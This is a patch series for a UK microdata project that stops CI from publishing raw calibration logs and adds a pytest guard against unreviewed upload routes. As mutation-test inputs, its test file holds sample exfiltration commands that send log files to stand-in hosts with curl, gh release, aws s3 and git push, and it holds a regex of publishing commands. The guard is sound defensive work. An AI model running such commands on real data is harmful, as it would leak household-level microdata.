From ddef8bba1a69220cf2752c904f72a66bc38bf564 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 09:34:23 -0400 Subject: [PATCH 1/9] Stop uploading raw calibration logs as public Actions artifacts The constituency and local authority calibration logs hold every target's weighted estimate at every logged epoch, with no small-cell control. A target supported by a few households, divided by a published count, could give one household's value back (Sol review of #599, shown on synthetic inputs). This repository's artifacts are public. Nothing downloads them. A test fails if any workflow uploads a calibration log again. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/pull_request.yaml | 16 +++------ .github/workflows/push.yaml | 16 +++------ ...top-raw-calibration-log-artifacts.fixed.md | 1 + .../tests/test_workflow_artifacts.py | 35 +++++++++++++++++++ 4 files changed, 46 insertions(+), 22 deletions(-) create mode 100644 changelog.d/stop-raw-calibration-log-artifacts.fixed.md create mode 100644 policyengine_uk_data/tests/test_workflow_artifacts.py diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml index 9443fa258..90f3ec5e1 100644 --- a/.github/workflows/pull_request.yaml +++ b/.github/workflows/pull_request.yaml @@ -86,17 +86,11 @@ jobs: run: uv run --frozen make data env: TESTING: "1" - - name: Save calibration log (constituencies) - uses: actions/upload-artifact@v7 - with: - name: constituency_calibration_log.csv - path: constituency_calibration_log.csv - - - name: Save calibration log (local authorities) - uses: actions/upload-artifact@v7 - with: - name: la_calibration_log.csv - path: la_calibration_log.csv + # The raw calibration logs stay on the runner. They hold every target's + # weighted estimate at every logged epoch with no small-cell control, so a + # target supported by a few households, divided by a published count, + # could give one household's value back, and this repository's + # artifacts are public. - name: Run tests run: uv run --frozen make test diff --git a/.github/workflows/push.yaml b/.github/workflows/push.yaml index 87c2e4064..fccbbeeea 100644 --- a/.github/workflows/push.yaml +++ b/.github/workflows/push.yaml @@ -139,17 +139,11 @@ jobs: HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }} - name: Build datasets run: uv run --frozen make data - - name: Save calibration log (constituencies) - uses: actions/upload-artifact@v7 - with: - name: constituency_calibration_log.csv - path: constituency_calibration_log.csv - - - name: Save calibration log (local authorities) - uses: actions/upload-artifact@v7 - with: - name: la_calibration_log.csv - path: la_calibration_log.csv + # The raw calibration logs stay on the runner. They hold every target's + # weighted estimate at every logged epoch with no small-cell control, so a + # target supported by a few households, divided by a published count, + # could give one household's value back, and this repository's + # artifacts are public. - name: Run tests run: uv run --frozen make test - name: Upload data diff --git a/changelog.d/stop-raw-calibration-log-artifacts.fixed.md b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md new file mode 100644 index 000000000..4ff272a3a --- /dev/null +++ b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md @@ -0,0 +1 @@ +Pull request and push builds no longer upload the raw constituency and local authority calibration logs as Actions artifacts, which are public on this repository; the logs stay on the runner. diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py new file mode 100644 index 000000000..563eec564 --- /dev/null +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -0,0 +1,35 @@ +"""No workflow uploads a raw calibration log. + +The logs hold each target's weighted estimate, nationally and for every +constituency and local authority, with no small-cell control. A target +supported by a few households, divided by a published count, could give one +household's value back, and this repository's Actions artifacts are public. +""" + +from pathlib import Path + +import pytest +import yaml + +WORKFLOWS = sorted((Path(__file__).parents[2] / ".github" / "workflows").glob("*.y*ml")) + + +def _uploads(workflow: Path) -> list: + jobs = yaml.safe_load(workflow.read_text()).get("jobs") or {} + return [ + str(step.get("with", {}).get("path", "")) + for job in jobs.values() + for step in job.get("steps", []) + if str(step.get("uses", "")).startswith("actions/upload-artifact") + ] + + +def test_the_workflows_are_found(): + names = {w.name for w in WORKFLOWS} + assert {"pull_request.yaml", "push.yaml"} <= names + + +@pytest.mark.parametrize("workflow", WORKFLOWS, ids=lambda w: w.name) +def test_no_workflow_uploads_a_raw_calibration_log(workflow): + uploads = _uploads(workflow) + assert not [p for p in uploads if "calibration_log" in p], uploads From e42d23db4394b0b23532c62182211a32b211c82c Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 10:55:36 -0400 Subject: [PATCH 2/9] Guard every route out of a job that can reach the data (Sol review of #603) The substring check missed directories, globs, expressions and renamed files. A job that holds a data credential or downloads artifacts may now use only reviewed actions, upload only literal files reviewed for that job with their producer, and run only reviewed publishing commands. Mutation tests cover each bypass on a clean synthetic job. Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 270 ++++++++++++++++-- 1 file changed, 254 insertions(+), 16 deletions(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index 563eec564..dcbc463dd 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -1,27 +1,141 @@ -"""No workflow uploads a raw calibration log. +"""Nothing built from the microdata leaves CI unless it has been reviewed. -The logs hold each target's weighted estimate, nationally and for every -constituency and local authority, with no small-cell control. A target -supported by a few households, divided by a published count, could give one -household's value back, and this repository's Actions artifacts are public. +The raw calibration logs hold each target's weighted estimate, nationally and +for every constituency and local authority, with no small-cell control. A +target supported by a few households, divided by a published count, could +give one household's value back, and this repository's Actions artifacts are +public. So the check is fail-closed rather than a list of forbidden names: + +- A job **can reach the data** when it holds a data credential (the Hugging + Face token or Google Cloud auth) or downloads artifacts that another job + uploaded. +- In such a job, every action must be on ``NON_PUBLISHING_ACTIONS`` or be an + artifact upload. Every upload must name literal files reviewed for that job + in ``REVIEWED``: no directories, globs or expressions. Every run step that + matches ``PUBLISH_COMMAND`` must use a command reviewed for that job. +- Jobs that cannot reach the data (docs, versioning, changelog) may publish; + they hold nothing built from it. + +Two parts rest on review rather than on the check: + +- ``PUBLISH_COMMAND`` lists known shell routes out of a runner, so a new kind of + command needs adding. +- A reviewed file's producer pattern shows that the job runs its summarising + command. It does not prove that nothing overwrites the file afterwards. """ +from __future__ import annotations + +import copy +import re from pathlib import Path import pytest import yaml -WORKFLOWS = sorted((Path(__file__).parents[2] / ".github" / "workflows").glob("*.y*ml")) +WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows" +WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml")) + +DATA_CREDENTIALS = ("HUGGING_FACE_TOKEN", "google-github-actions/auth") + +# Actions that publish nothing: set-up, checkout, sign-in and reading +# artifacts. setup-uv caches Python packages, not datasets. +NON_PUBLISHING_ACTIONS = { + "actions/checkout", + "actions/setup-python", + "actions/setup-node", + "astral-sh/setup-uv", + "google-github-actions/auth", + "actions/create-github-app-token", + "actions/download-artifact", +} + +# Reviewed routes out of each job that can reach the data: +# (workflow file, job id) -> artifact paths it may upload, mapped to a +# pattern its run steps must contain to produce that file from a +# disclosure-controlled summary, and the publishing commands it may run. +REVIEWED = { + ("push.yaml", "test"): { + "artifacts": {}, + # Private Hugging Face and GCS datasets (upload_completed_datasets.py, + # data controller's destinations), then the release tag. + "commands": ("uv run --frozen make upload", ".github/publish-git-tag.sh"), + }, +} + +PUBLISH_COMMAND = re.compile( + r"make upload|publish-git-tag|\bgh (release|gist|api|pr comment|issue comment)\b" + r"|\bgit push\b|\bcurl\b.*(\s-T\b|--upload-file|\s-F\b|--data|\s-d\b|-X\s*(POST|PUT|PATCH))" + r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b" +) +_NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") + + +def _jobs(workflow: dict) -> dict: + return workflow.get("jobs") or {} -def _uploads(workflow: Path) -> list: - jobs = yaml.safe_load(workflow.read_text()).get("jobs") or {} - return [ - str(step.get("with", {}).get("path", "")) - for job in jobs.values() +def reaches_data(job: dict) -> bool: + text = yaml.safe_dump(job) + if any(credential in text for credential in DATA_CREDENTIALS): + return True + return any( + str(step.get("uses", "")).startswith("actions/download-artifact") for step in job.get("steps", []) - if str(step.get("uses", "")).startswith("actions/upload-artifact") - ] + ) + + +def _action(uses: str) -> str: + return uses.split("@", 1)[0] + + +def problems(name: str, workflow: dict) -> list: + """Every unreviewed route out of a job of ``workflow`` that can reach the data.""" + out = [] + for job_id, job in _jobs(workflow).items(): + if not reaches_data(job): + continue + where = f"{name} job {job_id}" + reviewed = REVIEWED.get((name, job_id), {"artifacts": {}, "commands": ()}) + if "uses" in job: + out.append(f"{where} calls a reusable workflow ({job['uses']})") + runs = "\n".join(str(s.get("run", "")) for s in job.get("steps", [])) + for step in job.get("steps", []): + uses = str(step.get("uses", "")) + if uses: + action = _action(uses) + if action == "actions/upload-artifact": + path = str((step.get("with") or {}).get("path", "")) + entries = [p.strip() for p in path.splitlines() if p.strip()] + if not entries: + out.append(f"{where} uploads an artifact with no path") + for entry in entries: + if _NOT_LITERAL.search(entry): + out.append( + f"{where} uploads a pattern or expression: {entry!r}" + ) + elif entry in (".", "./") or entry.endswith("/"): + out.append(f"{where} uploads a directory: {entry!r}") + elif entry not in reviewed["artifacts"]: + out.append(f"{where} uploads an unreviewed file: {entry!r}") + elif not re.search(reviewed["artifacts"][entry], runs): + out.append( + f"{where} uploads {entry!r} without its reviewed producer" + ) + elif action not in NON_PUBLISHING_ACTIONS: + out.append(f"{where} uses an unreviewed action: {uses}") + for line in str(step.get("run", "")).splitlines(): + if PUBLISH_COMMAND.search(line) and not any( + command in line for command in reviewed["commands"] + ): + out.append( + f"{where} runs an unreviewed publishing command: {line.strip()!r}" + ) + return out + + +def _load(path: Path) -> dict: + return yaml.safe_load(path.read_text()) def test_the_workflows_are_found(): @@ -30,6 +144,130 @@ def test_the_workflows_are_found(): @pytest.mark.parametrize("workflow", WORKFLOWS, ids=lambda w: w.name) -def test_no_workflow_uploads_a_raw_calibration_log(workflow): - uploads = _uploads(workflow) - assert not [p for p in uploads if "calibration_log" in p], uploads +def test_no_unreviewed_route_out_of_a_job_that_can_reach_the_data(workflow): + assert problems(workflow.name, _load(workflow)) == [] + + +def test_the_dataset_building_jobs_are_recognised(): + pull_request = _jobs(_load(WORKFLOW_DIR / "pull_request.yaml")) + push = _jobs(_load(WORKFLOW_DIR / "push.yaml")) + docs = _jobs(_load(WORKFLOW_DIR / "docs.yaml")) + assert reaches_data(pull_request["test"]) and reaches_data(push["test"]) + assert not reaches_data(docs["build-and-deploy"]) + + +def test_every_reviewed_entry_names_a_real_job(): + for name, job_id in REVIEWED: + assert job_id in _jobs(_load(WORKFLOW_DIR / name)), (name, job_id) + + +# A clean job that builds the datasets, for the mutation tests below. +DATA_JOB = { + "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"}, + "steps": [ + {"uses": "actions/checkout@v6"}, + {"uses": "astral-sh/setup-uv@v8.1.0"}, + {"run": "uv run --frozen make data"}, + ], +} + + +def _with_step(*steps: dict) -> list: + job = copy.deepcopy(DATA_JOB) + job["steps"] += list(steps) + return problems("example.yaml", {"jobs": {"build": job}}) + + +def test_the_clean_data_job_passes(): + """Baseline for the mutation tests: each failure below is the added step's.""" + assert reaches_data(DATA_JOB) + assert _with_step() == [] + + +def _upload(path: str) -> dict: + return {"uses": "actions/upload-artifact@v7", "with": {"name": "x", "path": path}} + + +@pytest.mark.parametrize( + "path", + [ + "constituency_calibration_log.csv", + "la_calibration_log.csv", + "renamed.csv", + ".", + "./", + "policyengine_uk_data/storage/", + "*.csv", + "**/*.csv", + "${{ github.workspace }}", + "!private\nresults", + "fit_summary.json\nconstituency_calibration_log.csv", + ], +) +def test_an_unreviewed_upload_from_a_data_job_fails(path): + """Sol review of #603: names, directories, globs, expressions, every line.""" + assert _with_step(_upload(path)) + + +@pytest.mark.parametrize( + "step", + [ + {"uses": "actions/cache@v4", "with": {"path": "policyengine_uk_data/storage"}}, + {"uses": "actions/upload-pages-artifact@v3", "with": {"path": "."}}, + {"uses": "softprops/action-gh-release@v2", "with": {"files": "*.csv"}}, + {"run": "gh release upload v1 constituency_calibration_log.csv"}, + {"run": "curl -T la_calibration_log.csv https://example.org/"}, + {"run": "aws s3 cp . s3://bucket --recursive"}, + {"run": "git push origin HEAD:logs"}, + ], +) +def test_other_routes_out_of_a_data_job_fail(step): + assert _with_step(step) + + +def test_a_reusable_workflow_in_a_data_job_fails(): + job = copy.deepcopy(DATA_JOB) + job["uses"] = "org/repo/.github/workflows/publish.yaml@main" + assert problems("example.yaml", {"jobs": {"build": job}}) + + +def test_downloading_artifacts_makes_a_job_a_data_job(): + job = { + "steps": [ + {"uses": "actions/download-artifact@v8", "with": {"path": "logs"}}, + { + "uses": "JamesIves/github-pages-deploy-action@v4", + "with": {"folder": "logs"}, + }, + ] + } + assert problems("example.yaml", {"jobs": {"publish": job}}) + + +def test_a_job_without_data_may_publish(): + """The docs deploy holds nothing built from the microdata.""" + job = { + "steps": [ + {"uses": "actions/checkout@v6"}, + { + "uses": "JamesIves/github-pages-deploy-action@v4", + "with": {"folder": "docs"}, + }, + ] + } + assert problems("example.yaml", {"jobs": {"docs": job}}) == [] + + +def test_a_reviewed_file_needs_its_producer(monkeypatch): + monkeypatch.setitem( + REVIEWED, + ("example.yaml", "build"), + { + "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"}, + "commands": (), + }, + ) + produce = {"run": "python -m tool summarise log.csv --out summary.json"} + assert _with_step(_upload("summary.json")) + assert _with_step(produce, _upload("summary.json")) == [] + assert _with_step(produce, _upload("summary.json\nlog.csv")) From 449a51975d725191a5a830f6d2223e50f574c3da Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 15:18:31 -0400 Subject: [PATCH 3/9] Close three bypasses in the data-job guard (Sol re-review of #603) - Set-up actions are reviewed for their inputs: setup-uv can't be pointed at the workspace or have its cache turned on explicitly. - A reviewed publishing command must be a whole logical line, with continuations joined, so it can't excuse another command on its line. - A job is a data job when it or its workflow uses any secret other than the GitHub token, or passes secrets on; the versioning job's commit is reviewed with its exact inputs. - Producers must appear in an earlier run step outside a comment, and the docstring states what the check does not establish. Co-Authored-By: Claude Opus 5.5 --- .../tests/test_workflow_artifacts.py | 316 ++++++++++++++---- 1 file changed, 252 insertions(+), 64 deletions(-) diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py index dcbc463dd..1cfea7c52 100644 --- a/policyengine_uk_data/tests/test_workflow_artifacts.py +++ b/policyengine_uk_data/tests/test_workflow_artifacts.py @@ -1,27 +1,34 @@ -"""Nothing built from the microdata leaves CI unless it has been reviewed. +"""A regression check on the routes out of CI jobs that can reach the microdata. The raw calibration logs hold each target's weighted estimate, nationally and for every constituency and local authority, with no small-cell control. A target supported by a few households, divided by a published count, could give one household's value back, and this repository's Actions artifacts are -public. So the check is fail-closed rather than a list of forbidden names: - -- A job **can reach the data** when it holds a data credential (the Hugging - Face token or Google Cloud auth) or downloads artifacts that another job - uploaded. -- In such a job, every action must be on ``NON_PUBLISHING_ACTIONS`` or be an - artifact upload. Every upload must name literal files reviewed for that job - in ``REVIEWED``: no directories, globs or expressions. Every run step that - matches ``PUBLISH_COMMAND`` must use a command reviewed for that job. -- Jobs that cannot reach the data (docs, versioning, changelog) may publish; - they hold nothing built from it. - -Two parts rest on review rather than on the check: - -- ``PUBLISH_COMMAND`` lists known shell routes out of a runner, so a new kind of - command needs adding. -- A reviewed file's producer pattern shows that the job runs its summarising - command. It does not prove that nothing overwrites the file afterwards. +public. + +What the check does: + +- A job **can reach the data** when it, or its workflow, uses any secret + other than the GitHub token (presumed a data credential whatever it is + called), passes secrets on, signs in to Google Cloud, or downloads + artifacts. +- In such a job, every action must be reviewed for the inputs it is given + (``REVIEWED_ACTIONS``), so a set-up action can't be pointed at the + workspace. Every artifact upload must name literal files reviewed for that + job in ``REVIEWED``: no directories, globs, exclusions or expressions. + Every run line that matches ``PUBLISH_COMMAND`` must be, in full, a command + reviewed for that job. +- Jobs that can't reach the data (docs, changelog) may publish. + +What it does not do (Sol re-review of #603): it recognises reviewed workflow +shapes through secret, action and command names and explicit artifact +downloads. It restricts declared actions, artifact path strings and known +literal publishing commands. It does not establish data provenance or inspect +script, composite, reusable-workflow, container or service behaviour, shell +expansion, step summaries or job outputs. Producer patterns establish text +presence in an earlier run step, not execution, ordering at run time, that +the path is a regular file, or that its contents are disclosure-controlled. +Changes to any of these routes need human review. """ from __future__ import annotations @@ -36,30 +43,55 @@ WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows" WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml")) -DATA_CREDENTIALS = ("HUGGING_FACE_TOKEN", "google-github-actions/auth") - -# Actions that publish nothing: set-up, checkout, sign-in and reading -# artifacts. setup-uv caches Python packages, not datasets. -NON_PUBLISHING_ACTIONS = { - "actions/checkout", - "actions/setup-python", - "actions/setup-node", - "astral-sh/setup-uv", - "google-github-actions/auth", - "actions/create-github-app-token", - "actions/download-artifact", +# Any secret but these is presumed to reach the data. +NON_DATA_SECRETS = ("secrets.GITHUB_TOKEN",) +_SECRET = re.compile(r"secrets\.[A-Za-z_][A-Za-z0-9_]*") +DATA_ACTIONS = ("google-github-actions/auth",) + +# Actions that publish nothing when given only these inputs. setup-uv +# caches Python packages, not datasets; its cache-path inputs are not +# reviewed, so pointing its cache at the workspace fails (Sol re-review of +# #603, finding 1). ``enable-cache`` may only turn caching off. +REVIEWED_ACTIONS = { + "actions/checkout": { + "fetch-depth", + "sparse-checkout", + "sparse-checkout-cone-mode", + "token", + "ref", + "repository", + "path", + "persist-credentials", + }, + "actions/setup-python": {"python-version"}, + "actions/setup-node": {"node-version"}, + "astral-sh/setup-uv": {"version", "python-version", "enable-cache"}, + "google-github-actions/auth": {"service_account", "workload_identity_provider"}, + "actions/create-github-app-token": {"app-id", "private-key"}, + "actions/download-artifact": {"name", "path", "pattern", "merge-multiple"}, } # Reviewed routes out of each job that can reach the data: -# (workflow file, job id) -> artifact paths it may upload, mapped to a -# pattern its run steps must contain to produce that file from a -# disclosure-controlled summary, and the publishing commands it may run. +# (workflow file, job id) -> artifact paths it may upload, each mapped to a +# pattern an earlier run step must contain to produce it; the publishing +# commands it may run, each a whole line; and actions reviewed for this job +# only, with their exact inputs. REVIEWED = { ("push.yaml", "test"): { "artifacts": {}, # Private Hugging Face and GCS datasets (upload_completed_datasets.py, - # data controller's destinations), then the release tag. + # the data controller's destinations), then the release tag. "commands": ("uv run --frozen make upload", ".github/publish-git-tag.sh"), + "actions": {}, + }, + ("versioning.yaml", "Versioning"): { + "artifacts": {}, + "commands": (), + # Commits the version bump. Its secrets are the GitHub app's, and the + # job builds no data and downloads nothing. + "actions": { + "EndBug/add-and-commit": {"add": ".", "message": "Update package version"} + }, }, } @@ -69,18 +101,37 @@ r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b" ) _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{") +_EMPTY = {"artifacts": {}, "commands": (), "actions": {}} def _jobs(workflow: dict) -> dict: return workflow.get("jobs") or {} -def reaches_data(job: dict) -> bool: +def _triggers(workflow: dict) -> dict: + # YAML reads a bare ``on:`` key as True. + on = workflow.get("on", workflow.get(True)) or {} + return on if isinstance(on, dict) else {} + + +def _uses_data_secret(text: str) -> bool: + return any(s not in NON_DATA_SECRETS for s in _SECRET.findall(text)) + + +def reaches_data(job: dict, workflow: dict | None = None) -> bool: + workflow = workflow or {} + shared = yaml.safe_dump( + {"env": workflow.get("env"), "defaults": workflow.get("defaults")} + ) + call = _triggers(workflow).get("workflow_call") or {} + if _uses_data_secret(shared) or (isinstance(call, dict) and call.get("secrets")): + return True text = yaml.safe_dump(job) - if any(credential in text for credential in DATA_CREDENTIALS): + if "secrets" in job or _uses_data_secret(text): return True return any( - str(step.get("uses", "")).startswith("actions/download-artifact") + str(step.get("uses", "")).split("@", 1)[0] + in DATA_ACTIONS + ("actions/download-artifact",) for step in job.get("steps", []) ) @@ -89,23 +140,45 @@ def _action(uses: str) -> str: return uses.split("@", 1)[0] +def logical_lines(script: str) -> list: + """Shell lines with backslash continuations joined.""" + out, pending = [], "" + for line in script.splitlines(): + if line.rstrip().endswith("\\"): + pending += line.rstrip()[:-1] + " " + continue + out.append((pending + line).strip()) + pending = "" + if pending: + out.append(pending.strip()) + return [line for line in out if line] + + +def _code(script: str) -> str: + """A run script without comment lines.""" + return "\n".join( + line for line in logical_lines(script) if not line.lstrip().startswith("#") + ) + + def problems(name: str, workflow: dict) -> list: """Every unreviewed route out of a job of ``workflow`` that can reach the data.""" out = [] for job_id, job in _jobs(workflow).items(): - if not reaches_data(job): + if not reaches_data(job, workflow): continue where = f"{name} job {job_id}" - reviewed = REVIEWED.get((name, job_id), {"artifacts": {}, "commands": ()}) + reviewed = {**_EMPTY, **REVIEWED.get((name, job_id), {})} if "uses" in job: out.append(f"{where} calls a reusable workflow ({job['uses']})") - runs = "\n".join(str(s.get("run", "")) for s in job.get("steps", [])) + earlier = [] # run steps before the current one, comments removed for step in job.get("steps", []): uses = str(step.get("uses", "")) + inputs = step.get("with") or {} if uses: action = _action(uses) if action == "actions/upload-artifact": - path = str((step.get("with") or {}).get("path", "")) + path = str(inputs.get("path", "")) entries = [p.strip() for p in path.splitlines() if p.strip()] if not entries: out.append(f"{where} uploads an artifact with no path") @@ -118,19 +191,39 @@ def problems(name: str, workflow: dict) -> list: out.append(f"{where} uploads a directory: {entry!r}") elif entry not in reviewed["artifacts"]: out.append(f"{where} uploads an unreviewed file: {entry!r}") - elif not re.search(reviewed["artifacts"][entry], runs): + elif not re.search( + reviewed["artifacts"][entry], "\n".join(earlier) + ): out.append( - f"{where} uploads {entry!r} without its reviewed producer" + f"{where} uploads {entry!r} without its reviewed " + "producer in an earlier run step" ) - elif action not in NON_PUBLISHING_ACTIONS: + elif action in reviewed["actions"]: + if dict(inputs) != reviewed["actions"][action]: + out.append( + f"{where} gives {action} inputs other than the reviewed ones" + ) + elif action in REVIEWED_ACTIONS: + extra = set(inputs) - REVIEWED_ACTIONS[action] + if extra: + out.append( + f"{where} gives {action} unreviewed inputs: " + + ", ".join(sorted(extra)) + ) + if action == "astral-sh/setup-uv" and inputs.get( + "enable-cache", False + ) not in (False, "false"): + out.append(f"{where} turns setup-uv's cache on explicitly") + else: out.append(f"{where} uses an unreviewed action: {uses}") - for line in str(step.get("run", "")).splitlines(): - if PUBLISH_COMMAND.search(line) and not any( - command in line for command in reviewed["commands"] - ): + script = str(step.get("run", "")) + for line in logical_lines(script): + if PUBLISH_COMMAND.search(line) and line not in reviewed["commands"]: out.append( - f"{where} runs an unreviewed publishing command: {line.strip()!r}" + f"{where} runs an unreviewed publishing command: {line!r}" ) + if script and step.get("if") not in (False, "false", "${{ false }}"): + earlier.append(_code(script)) return out @@ -148,12 +241,15 @@ def test_no_unreviewed_route_out_of_a_job_that_can_reach_the_data(workflow): assert problems(workflow.name, _load(workflow)) == [] -def test_the_dataset_building_jobs_are_recognised(): - pull_request = _jobs(_load(WORKFLOW_DIR / "pull_request.yaml")) - push = _jobs(_load(WORKFLOW_DIR / "push.yaml")) - docs = _jobs(_load(WORKFLOW_DIR / "docs.yaml")) - assert reaches_data(pull_request["test"]) and reaches_data(push["test"]) - assert not reaches_data(docs["build-and-deploy"]) +def test_the_jobs_that_can_reach_the_data_are_recognised(): + def job(name, job_id): + workflow = _load(WORKFLOW_DIR / name) + return reaches_data(_jobs(workflow)[job_id], workflow) + + assert job("pull_request.yaml", "test") and job("push.yaml", "test") + assert job("versioning.yaml", "Versioning") # a GitHub app's secrets + assert not job("docs.yaml", "build-and-deploy") + assert not job("push.yaml", "gate") # the GitHub token only def test_every_reviewed_entry_names_a_real_job(): @@ -172,10 +268,10 @@ def test_every_reviewed_entry_names_a_real_job(): } -def _with_step(*steps: dict) -> list: +def _with_step(*steps: dict, workflow_extra=None) -> list: job = copy.deepcopy(DATA_JOB) job["steps"] += list(steps) - return problems("example.yaml", {"jobs": {"build": job}}) + return problems("example.yaml", {**(workflow_extra or {}), "jobs": {"build": job}}) def test_the_clean_data_job_passes(): @@ -219,12 +315,88 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path): {"run": "curl -T la_calibration_log.csv https://example.org/"}, {"run": "aws s3 cp . s3://bucket --recursive"}, {"run": "git push origin HEAD:logs"}, + {"run": "curl \\\n -T la_calibration_log.csv \\\n https://example.org/"}, ], ) def test_other_routes_out_of_a_data_job_fail(step): assert _with_step(step) +@pytest.mark.parametrize( + "inputs", + [ + {"cache-local-path": ".", "enable-cache": True, "cache-suffix": "x"}, + {"cache-local-path": "."}, + {"enable-cache": True}, + {"cache-dependency-glob": "**/*.csv"}, + ], +) +def test_a_set_up_action_pointed_at_the_workspace_fails(inputs): + """Sol re-review of #603, finding 1: setup-uv's post step saves its cache.""" + assert _with_step({"uses": "astral-sh/setup-uv@v8.1.0", "with": inputs}) + + +def test_turning_setup_uvs_cache_off_passes(): + step = {"uses": "astral-sh/setup-uv@v8.1.0", "with": {"enable-cache": False}} + assert _with_step(step) == [] + + +@pytest.mark.parametrize( + "script", + [ + "uv run --frozen make upload; curl -T constituency_calibration_log.csv https://x/", + "uv run --frozen make upload && gh release upload v1 log.csv", + "# uv run --frozen make upload\ncurl -T log.csv https://x/", + ], +) +def test_a_reviewed_command_does_not_excuse_another_on_its_line(script, monkeypatch): + """Sol re-review of #603, finding 2: a reviewed command is a whole line.""" + monkeypatch.setitem( + REVIEWED, + ("example.yaml", "build"), + {**_EMPTY, "commands": ("uv run --frozen make upload",)}, + ) + assert _with_step({"run": script}) + assert _with_step({"run": "uv run --frozen make upload"}) == [] + + +def test_a_workflow_level_credential_makes_every_job_a_data_job(): + """Sol re-review of #603, finding 3.""" + job = { + "steps": [ + {"run": "uv run --frozen make data"}, + _upload("constituency_calibration_log.csv"), + ] + } + workflow = { + "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"}, + "jobs": {"sneaky": job}, + } + assert reaches_data(job, workflow) + assert problems("example.yaml", workflow) + + +@pytest.mark.parametrize( + "job", + [ + {"env": {"GH_TOKEN": "${{ secrets.ANY_NAME }}"}, "steps": []}, + {"uses": "org/repo/.github/workflows/build.yaml@main", "secrets": "inherit"}, + {"steps": [{"uses": "google-github-actions/auth@v3"}]}, + {"steps": [{"uses": "actions/download-artifact@v8"}]}, + ], +) +def test_any_secret_or_data_route_makes_a_data_job(job): + """A secret's name doesn't say what it can read.""" + assert reaches_data(job) + + +def test_a_job_with_only_the_github_token_is_not_a_data_job(): + job = {"env": {"GH_TOKEN": "${{ github.token }}"}, "steps": []} + assert not reaches_data(job) + job = {"env": {"GH_TOKEN": "${{ secrets.GITHUB_TOKEN }}"}, "steps": []} + assert not reaches_data(job) + + def test_a_reusable_workflow_in_a_data_job_fails(): job = copy.deepcopy(DATA_JOB) job["uses"] = "org/repo/.github/workflows/publish.yaml@main" @@ -258,16 +430,32 @@ def test_a_job_without_data_may_publish(): assert problems("example.yaml", {"jobs": {"docs": job}}) == [] -def test_a_reviewed_file_needs_its_producer(monkeypatch): +def test_a_reviewed_action_needs_its_reviewed_inputs(): + data = copy.deepcopy(_load(WORKFLOW_DIR / "versioning.yaml")) + for step in _jobs(data)["Versioning"]["steps"]: + if str(step.get("uses", "")).startswith("EndBug/add-and-commit"): + step["with"]["add"] = "constituency_calibration_log.csv" + assert problems("versioning.yaml", data) + + +@pytest.mark.parametrize( + "producer", + [ + None, # no producer at all + {"run": "# python -m tool summarise log.csv --out summary.json"}, + {"run": "python -m tool summarise log.csv --out summary.json", "if": False}, + ], +) +def test_a_reviewed_file_needs_its_producer_in_an_earlier_step(producer, monkeypatch): monkeypatch.setitem( REVIEWED, ("example.yaml", "build"), - { - "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"}, - "commands": (), - }, + {**_EMPTY, "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"}}, ) + steps = [producer] if producer else [] + assert _with_step(*steps, _upload("summary.json")) + # The producer after the upload doesn't count either. produce = {"run": "python -m tool summarise log.csv --out summary.json"} - assert _with_step(_upload("summary.json")) + assert _with_step(_upload("summary.json"), produce) assert _with_step(produce, _upload("summary.json")) == [] assert _with_step(produce, _upload("summary.json\nlog.csv")) From 8374b3064de2ab10835364c7627ffd13f35dee53 Mon Sep 17 00:00:00 2001 From: Max Ghenis Date: Thu, 15 Oct 2026 15:57:05 -0400 Subject: [PATCH 4/9] Stop data jobs saving the uv cache, and widen the data-job checks (Sol re-review 2 of #603) - setup-uv's cache is on by default on hosted runners and its location can be moved through UV_CACHE_DIR, so the two data jobs now set save-cache: false, and the guard requires it. - A job is a data job when it mentions secrets in any syntax other than secrets.GITHUB_TOKEN, or can request an OIDC token. - The versioning commit, which adds the whole workspace, must not follow a command that fetches or builds the data. - Any gh command, and curl's upload forms, count as publishing. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/pull_request.yaml | 4 + .github/workflows/push.yaml | 4 + .../tests/test_workflow_artifacts.py | 123 +++++++++++++----- 3 files changed, 99 insertions(+), 32 deletions(-) diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml index 90f3ec5e1..a57dd4f1a 100644 --- a/.github/workflows/pull_request.yaml +++ b/.github/workflows/pull_request.yaml @@ -72,6 +72,10 @@ jobs: fetch-depth: 0 # Fetch all history for all tags and branches - name: Install uv uses: astral-sh/setup-uv@v8.1.0 + # Restore uv's package cache but never save one from a job that + # holds the data: its location can be moved (UV_CACHE_DIR). + with: + save-cache: false - name: Set up Python uses: actions/setup-python@v6 with: diff --git a/.github/workflows/push.yaml 